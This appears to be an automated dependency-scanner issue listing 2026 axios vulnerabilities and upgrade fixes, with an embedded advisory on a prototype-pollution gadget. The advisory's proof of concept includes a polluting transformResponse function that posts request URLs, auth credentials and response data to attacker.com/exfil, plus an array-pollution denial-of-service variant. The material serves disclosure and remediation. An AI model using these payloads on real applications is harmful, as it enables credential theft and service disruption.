Original source reportSummary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any "Object.prototype" pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests. The "mergeConfig()" function reads config properties via standard property access ("config2[prop]"), which traverses the JavaScript prototype chain. When "Object.prototype.transformResponse" is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with "this = config", exposing "auth.username", "auth.password", request URL, and all headers. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: "lib/core/mergeConfig.js" (Config Merge) + "lib/core/transformData.js" (Transform Execution) CWE - CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CVSS 3.1 Score: 9.4 (High) Vector: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H" | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | "this.auth.password", "this.url", original response data all exfiltrated | | Integrity | Low | Response data is replaced with "true" — attacker cannot return arbitrary data due to "assertOptions" constraint (see below) | | Availability | High | Polluting with an array value causes "TypeError: validator is not a function" crash (DoS) on every request | Relationship to GHSA-fvcv-3m26-pcqx This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit "mergeConfig"'s prototype chain traversal. | Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute "Object.prototype" via any other library in the stack (e.g., "qs", "minimist", "lodash", "body-parser"), Axios will automatically pick up the polluted "transformResponse" property during its config merge. The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check }; Important constraint: The polluted value must be a function returning "true", not an array. If an array is used, "assertOptions()" at "validator.js:89-92" crashes with "TypeError: validator is not a function" (which is still a DoS vector). The function must return "true" because "validator.js:93" checks "result !== true". 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } }); 3. The Execution Axios's "mergeConfig()" at "mergeConfig.js:99-103" iterates config keys: utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! }); The polluted function then executes at "transformData.js:21": data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials) 4. The Impact Attacker receives at https://attacker.com/exfil: { "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{"users":[{"id":1,"role":"admin"}]}" } The response data seen by the application is "true" (the required return value), which will likely cause the application to malfunction but will not reveal the theft. 5. DoS Variant // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }]; await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes Verified PoC Output Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse" Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"} After malicious transform: true Response tampered: true Step 4 - Exfiltrated data: Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"} Impact Analysis - Credential Theft: "this.auth.username", "this.auth.password", "this.headers.Authorization", and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response ("data" parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector. Limitations (Honest Assessment) - Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return "true" to pass "assertOptions" - This is in-process JavaScript function execution, not OS-level RCE Recommended Fix Use "hasOwnProperty" checks in "defaultToConfig2" to prevent prototype chain traversal: // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } } Additionally, validate that "transformResponse" contains only functions before execution: // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); Resources - "CWE-1321: Prototype Pollution" (https://cwe.mitre.org/data/definitions/1321.html) - "GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)" (GHSA-fvcv-3m26-pcqx) - "Axios GitHub Repository" (https://github.com/axios/axios) - "Snyk: Prototype Pollution" (https://learn.snyk.io/lesson/prototype-pollution/) Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory |

Publish Date: 2026-05-29

URL: CVE-2026-44495

Threat Assessment

Exploit Maturity: Not Defined

EPSS:

CVSS 3 Score Details (7.0)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: Low
    • Availability Impact: Low

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-3g43-6gmg-66jw

Release Date: 2026-05-29

Fix Resolution: axios - 0.31.1,axios - 1.15.2

CVE-2026-42038

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Publish Date: 2026-04-24

URL: CVE-2026-42038

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.06%

CVSS 3 Score Details (6.8)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Changed
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: None
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-m7pr-hjqh-92cm

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.1

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-42044

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2.

Publish Date: 2026-04-24

URL: CVE-2026-42044

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.139%

CVSS 3 Score Details (6.5)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: High
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: High
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-3w6x-2g7m-8v23

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.2

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.

CVE-2026-42042

Vulnerable Library - axios-1.13.5.tgz

Promise based HTTP client for the browser and node.js

Library home page: https://registry.npmjs.org/axios/-/axios-1.13.5.tgz

Path to dependency file: /ArchivingNewArchitecture/package.json

Path to vulnerable library: /ArchivingNewArchitecture/node_modules/axios/package.json,/BasicVideoChatNewArchitecture/node_modules/axios/package.json,/MultipartyNewArchitecture/node_modules/axios/package.json

Dependency Hierarchy:

  • opentok-react-native-2.31.1.tgz (Root Library)
    • axios-1.13.5.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

Publish Date: 2026-04-24

URL: CVE-2026-42042

Threat Assessment

Exploit Maturity: Not Defined

EPSS: 0.048%

CVSS 3 Score Details (5.4)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: Required
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: Low
    • Integrity Impact: Low
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-xx6v-rp6x-q39c

Release Date: 2026-04-24

Fix Resolution (axios): 1.15.1

Direct dependency fix Resolution (opentok-react-native): 2.31.2

⛑️ Automatic Remediation will be attempted for this issue.


⛑️Automatic Remediation will be attempted for this issue.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions